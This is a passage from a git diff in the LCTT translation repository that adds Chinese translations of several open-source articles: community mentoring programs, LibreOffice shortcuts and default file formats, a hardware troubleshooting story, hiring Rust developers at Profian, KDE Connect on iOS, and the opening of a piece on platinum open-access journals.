+第一个计划举行时我们接受了所有的申请者。我们评估了社区成员的兴趣所在,并为那些想要做出贡献但最初不敢踏出第一步的人提供了一个体系。 + +第一个计划的举办给了我们很多启发。因为我们的活动中既有经验丰富的开源贡献者和社区成员,也有初来乍到缺乏经验的新手,因此项目的执行要求管理员进行大量的管理工作。一些社区大使信心十足准备好进一步采取新措施,而其他大使则需要更多支持。到了第二个,我们决定缩减该计划,只接受那些已经熟悉社区、可以领导倡议和项目并帮助我们培训新人的贡献者。 + +第二个计划中形成了正反馈循环。那些在第一个计划中还是新手的大使们,通过为上一个项目做出贡献并且从项目经验中学习之后能够做到轻松带领项目。 + +这种方法的改变使管理员能够更加专注于支持大使团队,帮助他们传播我们的使命,并继续让我们的社区对新手友好,并指导更多人做出贡献。 + +### 总结 + +这些计划帮助我们提高了对开源贡献和回馈的不同方式的认识。通过它们,我们发现志愿者通过管理项目和举办公开会议来提供帮助,这有助于管理社区并为我们的贡献者提供指导。 + +尽管我们得到了贡献者的良好反响,并帮助人们做出了他们的第一个贡献,但我们仍有很大的改进空间。我们将继续改进我们项目的设置和贡献指南,以改善贡献者的体验。我们还将继续专注于确保我们的组织始终拥有并推动不同类别的问题,促进包容性,以便任何有意愿做出贡献的人都能出自己的一份力。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/beginner-open-source-community + +作者:[Isabel Costa][a] +选题:[lujun9972][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/isabelcmdcosta +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) +[2]: https://github.com/anitab-org +[3]: https://anitab.org/ +[4]: https://youtu.be/l8r50jCr-Yo +[5]: https://anitab-org.zulipchat.com/ +[6]: https://summerofcode.withgoogle.com/ +[7]: https://github.com/anitab-org/mentorship-backend#readme +[8]: https://opensource.com/article/21/2/sqlite3-cheat-sheet +[9]: https://github.com/anitab-org/bridge-in-tech-backend +[10]: https://github.com/anitab-org/documentation/blob/master/quality-assurance.md +[11]: https://codein.withgoogle.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/12/222832vxfof8844fo4vsl4.jpg \ No newline at end of file diff --git a/published/202302/20210922 My favorite LibreOffice productivity tips.md b/published/202302/20210922 My favorite LibreOffice productivity tips.md new file mode 100644 index 0000000000..82252258f2 --- /dev/null +++ b/published/202302/20210922 My favorite LibreOffice productivity tips.md @@ -0,0 +1,96 @@ +[#]: subject: "My favorite LibreOffice productivity tips" +[#]: via: "https://opensource.com/article/21/9/libreoffice-tips" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15530-1.html" + +提高 LibreOffice 生产力的技巧 +====== + +![][0] + +> 今天我将和大家分享一些 LibreOffice 的键盘快捷键和排版技巧,希望能够帮你省下宝贵的时间。 + +LibreOffice 是我首选的生产力应用程序。它是向教育工作者和学生推荐 Linux 发行版的最有力理由之一,无论是 PK-12 还是高等教育。新的学年快到了,我想也是时候推荐一些 LibreOffice 快捷方式和技巧,它们可以为你节省宝贵的时间。 + +### 使用键盘快捷键让你工作更快捷 + +我平时经常使用键盘快捷键,以下是适用于所有 LibreOffice 应用程序的最常见的快捷键 + + * `Ctrl+N` — 创建新文档 + * `Ctrl+O` — 打开一个文档 + * `Ctrl+S` — 保存文档 + * `Ctrl+Shift+S` — 另存为 + * `Ctrl+P` — 打印文档 + +这些是仅适用于 LibreOffice Writer 的快捷键: + + * `Home` — 移动到当前行的初始位置 + * `End` — 移动至当前行的结尾位置 + * `Ctrl+Home` — 将光标移动到文档的初始位置 + * `Ctrl+End` — 将光标移动到文档的结尾位置 + * `Ctrl+A` — 全选 + * `Ctrl+D` — 双下划线 + * `Ctrl+E` — 居中 + * `Ctrl+H` — 查找并替换 + * `Ctrl+L` — 左对齐 + * `Ctrl+R` — 右对齐 + +功能键也大有用处: + * `F2` — 打开公式栏 + * `F3` — 自动补完 + * `F5` — 打开导航器 + * `F7` — 打开拼写和语法 + * `F11` — 打开格式和排版 + * `Shift+F11` — 创建新样式 + +### 文档格式 + +文档格式有很多种,LibreOffice 支持其中很多文档格式。默认情况下,LibreOffice 将文档保存为 开放文档格式Open Document Format(ODF),这是一种开源标准,将样式表和数据存储在 ZIP 容器中,文本文档标记为 ODT,电子表格标记为 ODS,演示文稿标记为 ODP。它是一种灵活的格式,由 LibreOffice 社区和文档基金会维护。 + +ODF 是默认启用的,因此你无需执行任何操作即可让 LibreOffice 使用这种格式。 + +另一种文档开放规范是微软的 [Office Open XML(OOXML)格式][2]。它是一个 ISO 标准,并得到所有主要办公解决方案的良好支持。 + +如果你与使用微软 Office 的人一起工作(它本身不是开源的,但它确实使用开放的 OOXML 格式),那么他们肯定习惯于 DOCX、XLSX 和 PPTX 格式,并且可能无法打开 ODT、ODS 或 ODP 文件。你可以通过在 LibreOffice 中将 OOXML 设置为默认格式来避免很多混乱。 + +将 OOXML 设置为你的首选格式: + + 1. 单击 “工具Tools” 菜单并选择菜单底部的 “选项Options”。 + 2. 在 “选项Options” 窗口中,单击左侧面板中的 “加载/保存Load/Save” 类别,然后选择 “常规General”。 + ![LibreOffice设置面板][3] + 3. 导航到 “默认文件格式和 ODF 设置Default File Format and ODF Settings” 部分。 + 4. 在 “文档类型Document type” 选择 “文本文档Text document”,并在 “始终另存为Always save as” 下拉列表选择 “Open XML (Transitional) (*.docx) ”。 + 5. 点击 “应用Apply” 然后点击 “确定OK”。 + 6. 取消选择 “未以 ODF 或默认格式保存时发出警告Warn when not saving in ODF or default format ” 以避免在保存时出现确认对话框。 + ![LibreOffice 保存格式][5] + +按照相同的逻辑重复,重复相同的过程用于 XLSX 和 PPTX 文档。 + +### 让办公更自由 + +LibreOffice 项目由蓬勃发展的用户和开发人员社区与文档基金会共同管理。这包括工程指导委员会、董事会、独立开发人员、设计师和翻译人员等。这些团队始终欢迎各位的贡献,因此如果你渴望参与一个超赞的开源项目,请不要犹豫 [参与进来][6]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/9/libreoffice-tips + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) +[2]: https://www.iso.org/standard/71691.html +[3]: https://opensource.com/sites/default/files/uploads/libreoffice-panel.jpg (LibreOffice settings panel) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/uploads/libreoffice-save-format.jpg (LibreOffice save formats) +[6]: https://www.libreoffice.org/community/get-involved/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/11/161923gks1dsldq7dd1z67.jpg \ No newline at end of file diff --git a/published/202302/20220118 How curiosity helped me solve a hardware problem.md b/published/202302/20220118 How curiosity helped me solve a hardware problem.md new file mode 100644 index 0000000000..bd17d820d7 --- /dev/null +++ b/published/202302/20220118 How curiosity helped me solve a hardware problem.md @@ -0,0 +1,104 @@ +[#]: subject: "How curiosity helped me solve a hardware problem" +[#]: via: "https://opensource.com/article/22/1/troubleshoot-hardware-sysadmin" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lujun9972" +[#]: translator: "toknow-gh" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15562-1.html" + +好奇心帮我解决了一个硬件问题 +====== + +![][0] + +> 好奇心能激发人们对于知识和真理的渴求,无论是对于硬件、开源软件、编程、组装个人电脑、优化系统设置,还是只是学习使用一个新软件。 + +![Puzzle pieces coming together to form a computer screen][1] + +我通常在家架设运行一个由一打计算机组成的家庭网络 —— 没错,正好 12 台计算机。同时我还负责其它地方的一些计算机维护工作。由于计算机很多,总会出现各种各样的故障,其中有很多最终确诊为硬件问题。但是要判定出是哪个硬件设备引发的故障却是一件难事。 + +就在这周,我的主工作站上出现了一个棘手的问题,导致我两次误判了问题的原因。本文将带你跟随我排查问题的过程。我将告诉你我在哪一步做了错误的判断以及为什么,还有误判是多么容易发生。 + +### 最初的症状 + +我手上一直有好几个项目。最近,我在几台台式机上打开了很多应用程序,我刚开始工作,突然就黑屏了。主工作站的大多数(不是全部)风扇都停了,这让我倒吸一口凉气。我从来没有遇到过这种情况,但显然我的系统出问题了。 + +我有两条主要线索可以跟进:一是显示黑屏,二是有些风扇不转了。但是前面板上的电源和磁盘活动指示灯还是亮的,只是比平常要暗一点。大多数安装在主板、内存条和风扇上的 RGB 装饰灯也都灭了。 + +我试过按电源键和重启键,都没有反应。我直接按供电单元的船型开关关闭了电源。重新供电后还是出现了刚才的症状。 + +### 最初的猜想 + +问题的现象和我数十年处理各类故障的经验将原因指向了供电问题。 + +我将供电单元拆了下来并用电源测试仪对它进行了检查。结果是供电单元没有任何问题,各项电压都符合规范。当然测试仪的结果也可能是错误的。测试仪并没有在满负荷状态下进行测试,比如计算机运行中耗电几百瓦的情况。我凭直觉更换了一个一千瓦的备用电源。 + +由于我的家庭网络中有 12 台计算机,我已经习惯准备了一些备用配件在身边。这样当有配件损坏时,我就不必非得跑一趟附近的电脑城或者网购后等快递了。由于计算机这么多,配件损坏是经常的事。 + +虽然电源测试仪告诉我电源没有问题,但更换电源后问题确实消失了。即便检测仪在过去都是正确的,我的经验、知识和直觉告诉我就是电源问题。 + +不幸的是,我的直觉错了。 + +### 第二个猜想 + +没过多久我的工作站再次又了相同的问题。但两个不同的供电单元有相同问题的可能性太低了。 + +我马上想到那一定是主板出问题了。我没有备用的主板,所以网购了一块新主板。我想到其实可以用上手上多余的内存条,然后把 CPU 连同一体水冷单元一起装到新主板上。 + +### 专业的故障排查 + +新主板需要几天天才能送到,所以我决定先将工作站上的旧主板拆下来。就在拔掉主板供电之前,我的好奇心显现,并驱使我给只剩主板、CPU 和内存的系统开机。我已经把其它的部分都拆掉了。 + +好的故障排除过程需要分离所有潜在变量,目前我只是对供电单元进行了测试。我需要对每个组件都进行测试。 + +这需要我先拔掉前面板上的扬声器和多功能面板连接线。多功能面板上集成了各种 USB、SATA 和内存卡插槽。 + +令人惊讶的是,当只有主板通电时竟然一切正常。 + +计算机本身无法开机,因为根本没有连接存储器。也不会有显示输出,因为我已经把显卡拆掉了。但是没有电源或主板故障的迹象。这进一步激发了我的好奇心。如果主板真的有问题的话,故障现象应该仍然存在才对。 + +所以我开始一系列的重复试验:断电,安装一个已经拆掉的配件,重新上电。 + +最终发现问题上由前置多功能面板引发的。 + +我拆除了多功能面板并将其它零件全部装了回去。工作站开机正常,运行良好。终于让我逮到罪魁祸首了。 + +### 起因 + +弄清真正的问题之后,我立刻就明白了问题的根本原因。这还要从几天前说起。那时我正在测试一些外接 USB 设备,包括几种摄像头、几个用于备份的存储设备和一个外接 USB 集线器。 + +我把一根 USB 连接线插到了多功能面板上的一个 USB 2.0 插口中。所有东西都停摆了,大部分灯熄灭了,风扇也不转了。USB 连接线发热很严重,我拔掉它时还把手指烫伤了。原来我不小心将连接线的 C 型插头插到了一个 USB 3.0 A 型插口里,导致了供电短路。 + +拔掉 USB 连接线之后,一切都恢复了“正常” —— 但事实并非如此。我粗心的错误对多功能面板造成了损伤,它在坚持了几天之后彻底短路了。 + +### 妄下结论 + +知识和经验有时候比电源测试仪之类的工具更重要。当然知识跟经验有时候也不管用。我最终找到了问题的真正原因,但其实我本该早就发现的。 + +尽管我在问题跟供电有关这一点上是对的,但还是误入歧途了。原因是我没能正确解读问题现象并根据线索调查得出逻辑结论导致的。我本可以更早找出问题的根本原因的,这样就不至于在修好主工作站之前浪费那么多时间在将我的笔记本变成临时主要设备上了。 + +系统管理员总与复杂的设备打交道,过早下结论在所难免。我有超过 50 年的从业经验,还是犯了这样的错误。我只需记住做几个 [深呼吸][2],然后刨根问底直到找到问题的根本原因。 + +### 好奇心 + +至少在等待新主板到货期间,我遵循了自己的好奇心。这让我比等新主板到货要早得多将事情恢复正常。同时也避免了我在没有充分测试的情况下把一块完好的主板丢掉。 + +谚语说好奇心害死猫。我讨厌这个谚语,因为它被家长、学校、见识短浅的老板、老师和那些不想被我们这种好奇宝宝干扰的人用得太多了。事实上,好奇心激发了对于人们对于知识和真理的渴求。这可能是关于硬件、开源软件、编程、组装个人电脑、优化系统设置或者学习使用新软件。满足你的好奇心吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/troubleshoot-hardware-sysadmin + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[toknow-gh](https://github.com/toknow-gh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://opensource.com/article/21/11/linux-yoga +[0]: https://img.linux.net.cn/data/attachment/album/202302/21/164251s0ow0eewvnebwzcw.jpg \ No newline at end of file diff --git a/published/202302/20220204 How we hired an open source developer.md b/published/202302/20220204 How we hired an open source developer.md new file mode 100644 index 0000000000..54b38e9e8f --- /dev/null +++ b/published/202302/20220204 How we hired an open source developer.md @@ -0,0 +1,94 @@ +[#]: subject: "How we hired an open source developer" +[#]: via: "https://opensource.com/article/22/2/how-we-hired-open-source-developer" +[#]: author: "Mike Bursell https://opensource.com/users/mikecamel" +[#]: collector: "lujun9972" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15543-1.html" + +我们是如何聘请开源开发人员的 +====== + +> 我的团队不再采用标准的算法编程笔试,而是采用一套能够产出更多相关成果的流程。 + +![][0] + +作为初创安全公司 [Profian][2] 的首席执行官和联合创始人,我参与了我们聘请开发人员从事 [Enarx][3] 的工作。Enarx 是一个处理机密信息计算的安全项目,几乎完全用 [Rust 语言][4] 编写(少部分用汇编语言)。Profian 现在已经在这次招聘找到了所有要找的人,一些开发人员将在接下来的几周内开始工作。然而,Enarx 绝对欢迎新的贡献者,如果事情继续顺利,公司将来肯定会雇用更多的人。 + +招聘人员并不容易,加上 Profian 还有一系列特别的要求,这让招人变得更加困难。因此我认为分享我们如何解决这个问题应该还蛮有意思的,而且也会对社区有帮助。 + +### 我们寻找什么样的人才? + +以下就是我前文提到的特别要求: + +* **系统编程**:Profian 主要需要那些喜欢系统层编程的人。这一层面的编程已经处于栈的底层,有很多直接与硬件或操作系统的交互。例如,要创建客户端-服务器部分,我们必须编写相当多的协议、管理加密等等,而这方面的工具还不是很成熟(请参阅下面的 “Rust” 一节)。 +* **Rust**:项目几乎都是用 Rust 语言编写的,那些不是的则是用汇编语言写的(目前只有 x86 平台,尽管随着我们添加更多平台情况可能会有所改变)。Rust 是一门很新、很酷同时也令人兴奋的编程语言,但它同时也很年轻,并且一些领域没有你想要的所有支持或者没有你希望的那么成熟 —— 这包括从密码学到多线程库到编译器/构建基本架构。 +* **分散各地的团队**:Profian 正在建立一个能够及时通讯联系的团队。Profian 在德国、芬兰、荷兰、北卡罗来纳州(美国)、马萨诸塞州(美国)、弗吉尼亚州(美国)和乔治亚州(美国)都有开发人员。我在英国,我们的社区经理在巴西,我们有来自印度和尼日利亚的实习生。从一开始我们就知道团队很难聚集在一个地方工作,因此我们需要能够通过视频、聊天和(最不济的情况下)电子邮件与人交流和协作的成员。 +* **安全**:Enarx 是一个安全项目。虽然我们并不是专门在寻找安全专家,但我们需要能够将安全放在首位去思考和工作,并设计和编写适用于安全环境的代码的人。 +* **Git**:我们所有的代码都存储在 Git 中(主要是 [GitHub][5],还有一些存在 GitLab)。我们围绕代码的大部分交互都是围绕 Git 进行的,因此任何加入我们团队的人都需要能自如使用它作为日常工作中的标准工具。 +* **开源**:开源不仅仅是许可;更是一种心态,同时,这也是一种合作方式。大量开源软件是由不同地域的人创建的,他们甚至可能不认为彼此身处于一个团队。我们需要知道我们招的人不仅能在公司内部凝聚成一个紧密的团队,同时也能够与组织外部的人员协作,并接受 Profian 的“默认开放”文化,这里的开放不仅仅限于代码,还要有开放的讨论、沟通和文档。 + +### 我们是如何找到人才的? + +正如我在其他地方提到的,[招聘很困难][6]。Profian 使用多种方式寻找候选人,它们取得了不同程度的成功: + + * 领英招聘广告 + * 领英搜索 + * 特定语言的讨论板和招聘板(例如,Reddit) + * 外部招募人员(特别致敬来自 [Interstem][7] 公司的 Gerald) + * 口耳相传/个人推荐 + +虽然很难从质量方面判断这些来源如何,但如果没有外部招聘人员,我们肯定会在数量上苦苦挣扎(我们也有一些来自该途径的优秀候选人)。 + +### 我们如何筛选出想要的人才? + +我们需要按照上述的所有要求衡量所有候选人,但并非所有要求都是同等重要的。例如,虽然我们热衷于雇用 Rust 程序员,但那些在系统级别具有强大 C/C++ 技能的人也能成为团队里有用的一份子,因为他们能够很快掌握 Rust 语言。另一方面,熟悉使用 Git 是至关重要的,因为我们无法花时间去培养新团队成员,让他们跟上我们的工作方式。 + +你可能会觉得很惊讶,但强大的开源背景并不是必需的要求,在类似模式中工作的心态是必需的,而任何有开源参与历史的人都可能对 Git 有很好的了解。同理,在一个分散各地的团队中工作的能力这一条件上,我们认为有过任意开源社区的参与经历都会是个积极的指标,因为有如此多的开源项目都是由分散各地的人们完成的。至于安全这一条件,我们则一致决定这只是一个“锦上添花”的条件。 + +我们想让这个过程简单快捷。 Profian 没有设置专门的人力资源部门或人力职能,因为我们正忙于编写代码。以下是我们最终使用的招聘流程(实际流程中可能略有不同),我们试图在 1-2 周内完成招聘: + + 1. 初审:个人履历/简历/GitHub/GitLab/领英主页,决定是否面试 + 2. 我作为 CEO 和候选人进行一场 30-40 分钟的讨论,了解他们是否适合我们团队的文化,同时让他们有机会了解我们,并了解他们是否真的像在初审提交的材料中所说的那样精通技术 + 3. 由 Nathaniel 领导的有关技术方面的深入讨论,通常我也在场 + 4. 与团队其他成员谈话 + 5. 编码笔试 + 6. 快速决策(通常在 24 小时内) + +编码笔试很关键,但我们决定不采用通常的方法。我们的观点是,许多科技公司钟爱的纯“算法编码”笔试对我们想要的几乎毫无用处:考察候选人是否可以快速理解一段代码,解决一些问题,并与团队合作完成以上的工作。我们创建了一个 GitHub 存储库,其中包含一些几乎可以正常运行的 Rust 代码(事实上,我们最终使用了两个,其中一个用于技术栈上层的人),然后让候选人修复它,在上面执行一些与 Git 相关的过程,并稍作改进,在此过程中添加测试。 + +测试中一个必不可少的部分是让候选人通过我们的聊天室与团队互动。我们安排了 15 分钟的视频通话时间用于设置和初始问题,两个小时用于做笔试(“开卷”——以及与团队交谈,鼓励候选人使用互联网上所有可用的资源),然后是 30 分钟的总结会议,在这个会议上团队可以提出问题,候选人可以思考任务。这个谈话,结合笔试期间的聊天互动,让我们了解了候选人与团队沟通的能力。候选人挂断电话之后我们通常会在 5-10 分钟内决定是否要雇用他们。 + +这种方法通常效果很好。一些候选人在任务上遇到困难,一些人沟通不畅,一些人在 Git 交互方面做得不好 —— 这些是我们没有雇佣的人。这并不意味着他们不是优秀的程序员或者以后不适合该项目或公司,但他们不符合我们现在需要的标准。在我们聘用的开发人员中,他们的 Rust 经验水平和与团队互动的需求各不相同,但 Git 专业知识水平以及他们在和我们讨论之后的反应始终足以让我们决定接受他们。 + +### 感想 + +总的来说,我不认为我们会对筛选过程进行大的改动 —— 尽管我很确定我们可以在搜寻过程环节做得更好。通过编码笔试,我们可以筛选掉相当多的候选人,而且很好地帮了我们挑选合适的人。希望通过了这次选拔的每个人都很适合这个项目并且产出出色的代码(以及测试和文档等等)。时间会证明一切! + +* * * + +本文最初发布于 [Alice、Eve 和 Bob – 安全博客][8] 上,经许可后重新发布。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/how-we-hired-open-source-developer + +作者:[Mike Bursell][a] +选题:[lujun9972][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mikecamel +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connection_people_team_collaboration.png?itok=0_vQT8xV (people in different locations who are part of the same team) +[2]: https://profian.com/ +[3]: https://enarx.dev/ +[4]: https://opensource.com/article/21/3/rust-programmer +[5]: https://github.com/enarx/ +[6]: https://aliceevebob.com/2021/11/09/recruiting-is-hard/ +[7]: https://www.interstem.co.uk/ +[8]: https://aliceevebob.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/16/074428qxbm44dxh00x42z7.jpg \ No newline at end of file diff --git a/published/202302/20220510 Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store.md b/published/202302/20220510 Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store.md new file mode 100644 index 0000000000..effbb408e2 --- /dev/null +++ b/published/202302/20220510 Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store.md @@ -0,0 +1,70 @@ +[#]: subject: "Easily Connect your iPhone with Linux as KDE Connect Arrives on the App Store" +[#]: via: "https://news.itsfoss.com/kde-connect-ios/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15559-1.html" + +KDE Connect 登陆苹果应用商店,轻松将你的 iPhone 与 Linux 连接起来 +====== + +> 这是一个令人印象深刻的开源客户端,能帮你将手机与电脑连接起来,现在可用于 iPhone 和 iPad。快来试试看! + +![kde connect][1] + +KDE Connect 是一种开源工具,可让你将手机与电脑连接起来。 + +最初,KDE Connect 支持安卓设备与 Linux 连接。渐渐地,他们增加了对 Windows 的支持。 + +现在,看起来你可以使用 KDE Connect 让你的 iOS 设备(iPhone 或 iPad)连接到你的 Windows/Linux 计算机。 + +需要注意的是 macOS 也在支持的平台列表中。但是,它仍然是早期发布版本。因此它可能不如在其他平台上那么好用。 + +### 苹果应用商店上的 KDE Connect + +![][2] + +我们没有注意到任何官方公告。然而,一些用户发现 KDE Connect 在 [版本 0.2.1][4] 发布后,就出现在了 [苹果应用商店][3] 上供 iOS 用户使用。 + +苹果应用商店上列出了所有基本功能,包括: + +* 共享剪贴板:在设备之间复制/粘贴。 +* 能够从任何应用程序将文件和 URL 共享到你的计算机。 +* 将手机屏幕用作计算机的触摸板(可视触摸板)。 +* 远程演示模式。 +* 通过手机在计算机上运行命令 +* 端到端 TLS 加密以确保安全。 + +虽然 KDE Connect 依然是一个开源应用程序,但为符合苹果应用商店的要求,该应用程序的许可与 [OMGUbuntu][5] 所发现的有所不同。 + +同时值得注意的是,这里列出的功能可能与安卓版本不同,但至少我们终于为 iOS 用户提供了 KDE Connect,使其成为连接手机和计算机的真正开源跨平台解决方案。 + +我可以放心将 KDE Connect 推荐给任何想通过手机来对电脑进行操作的人。 + +点击下方的按钮即可前往应用程序商店开始安装。你还可以在其 [官方下载页面][6] 上找到针对不同支持平台的各种其他安装选项。 + +> **[KDE Connect(iOS)][3]** + +你试过 iOS 上的 KDE Connect 了吗?在评论区中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kde-connect-ios/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1304/wordpress/2022/05/kde-connect-on-iphone-ipad.jpg +[2]: https://news.itsfoss.com/content/images/size/w1304/wordpress/2022/05/kde-connect-ios.jpg +[3]: https://apps.apple.com/id/app/kde-connect/id1580245991 +[4]: https://invent.kde.org/network/kdeconnect-ios/-/commit/43d2ecbbb7e4e70274849f5ec987721318eb9f57 +[5]: https://www.omgubuntu.co.uk/2022/05/kde-connect-iphone-app-available +[6]: https://kdeconnect.kde.org/download.html diff --git a/published/202302/20220513 When open source meets academic publishing- Platinum open access journals.md b/published/202302/20220513 When open source meets academic publishing- Platinum open access journals.md new file mode 100644 index 0000000000..6374e8c392 --- /dev/null +++ b/published/202302/20220513 When open source meets academic publishing- Platinum open access journals.md @@ -0,0 +1,78 @@ +[#]: subject: "When open source meets academic publishing: Platinum open access journals" +[#]: via: "https://opensource.com/article/22/5/platinum-open-access-academic-journals" +[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15579-1.html" + +当开源遇到学术出版:白金开放获取期刊 +====== + +![][0] + +> 学者现在可以免费发表(文章),免费阅读(文章),与此同时仍然能够在专业成就的道路上持续进步。 + +学者们经常将他们的作品免费提供给公司,然后却要花钱购买它!你能想象农民在免费送出他们的食物之后再重新花钱买回来做晚餐吗?可能不能吧。像我这样的学者陷入这样的阴谋中几十年了,我们以工作保障为交换免费提供我们的作品,然后却要每年花几百万美元来阅读我们自己的文章。 + +幸运的是,情况正在发生改变。我刚刚完成的一项 [研究][2] 的结果显示:对于学者来说,获得工作保障的同时而不对此付出代价是可能的。我的研究发现数百种期刊是 白金开放获取platinum open access(LCTT 译注:译名源自中文网络)的 —— 也就是说,它们不需要作者或者读者为同行评议的工作付费,却仍然拥有帮助学者在他们的职业生涯中取得成功的声望和读者群。 + +这一趋势正在扩张:[开放获取期刊目录][3] 罗列了超过 17300 种期刊,这些期刊均提供了某种程度上的 开放获取open access(OA)方式。该目录还提供了超过 12250 种无须 文章处理费article-processing charges(APC)的期刊。我使用一段简易的开源 [Python 脚本][4] 来将该列表与另一按照期刊发表的文章被其他文章引用的频次排名的期刊列表(期刊影响因子列表)进行比较。很明显,最近几年来,总体的开放获取期刊与白金开放获取期刊均呈上升趋势。这一趋势可能有助于在避免学术奴役的同时加速科学发展。 + +### 学者的窘境 + +学者们通常是相当聪慧的,那么他们为什么如此长时间地投身于这种不利体系中呢?简而言之,学者陷于这样一个陷阱中:为了维系他们的工作和获得终身教职,他们需要在高 影响因子impact factor 的期刊上发表文章。影响因子是一种基于最近两年间在给定期刊上发表的文章的平均引用数量的衡量指标。影响因子由 Web of Science 索引。对学者而言,影响因子是一个有影响力的衡量指标。 + +历史上,学术出版一直由一小部分主要出版商统治。他们采用基于订阅制的商业模式。在这样的商业模式中,学术作者撰写文章,评审同行的文章,也经常对这些文章进行编辑。这些工作都是没有任何报酬的。这些文章出版了,它们的版权则由那些主要的出版公司所有。即使是参与上述工作的学者也需要个人付费阅读这些文章(每篇文章大约 35 美元),或者由他们所在学校的图书馆付费订阅期刊上的所有文章。(订阅)所花的费用是相当可观的:单是一个出版商的所有文章的订阅费用通常超过一百万每年。 + +有很多显然的理由都说明这一体制是毫无意义的。由于限制对隐匿在付费专区后的受版权保护的科学文献的访问,使得科学进程陷于停滞。如果你因为无法查看而不知道前沿科技是什么的话,你就无法进行相应的前沿技术研究。科学家被划分为能够负担访问这些文章的费用的人,以及不能负担(这些费用的人)。发展中国家的学者往往难以支付,不过即使是财力雄厚的 [哈佛大学][5] 也已经采取行动控制它的年度期刊费用。 + +文章作者的花费也同样高昂。每篇文章的文章处理费从几百美元到骇人听闻的几千美元不等。文章处理费对一些资金不足的学科尤其有害,比如人文学科与社会学科(与物理学、医学和工程学相比而言)。大量的文章处理费也强化了学术界的贫富差距,使得(学者的)专业成就依赖于是否有收入投入文章发表。还有哪种职业要求从业者付费为他人制造产品? + +### 开放获取,解决之道! + +开放获取行动可以解决上述问题,开放获取行动倡导使所有的学术文献对任何人都能自由自由获取。开放获取的出版量有明显上升:它占了当前同行评议文章的将近三分之一。 + +开放获取的优势分两个方面。首先,开放获取有利于科学整体,因为它提供了一个不受阻碍地阅读前沿技术的方式。这些技术有助于进一步做出重要的认知进步。其次,就学者个人层面而言,通过让他们的作品在网络上轻而易举地免费获得,提供了最大化他们作品的潜在受众的实际优势。 + +基于上述原因,资助者已经开始要求开放获取,尤其是科学领域的公共资助者。如果一项研究的公共资助者还需要在阅读研究内容时二次付费,这种做法很难站得住脚。 + +### 学术出版目前身处何方,以后又去向何处? + +传统出版商仍然掌控着目前的局面,主要是因为认为他们垄断了具有影响因子的期刊这一认知。很多学者无视传统出版方式的缺点,仍然持续在基于订阅制的期刊上发表文章或者支付高昂的文章处理费,因为他们知道在高影响因子的期刊上发表文章是至关重要的,它能够提供赖以获取补助、终身教职与职位晋升的专业性的证明。 + +多年以前,学术界完全没有选择的余地:要么在具有影响因子的期刊上发表,要么在通过开放获取方式发表。现在他们可以通过开放获取方式发表并仍然能够通过以下三种方式之一享受影响因子的益处: + +* 绿色开放获取模式Green 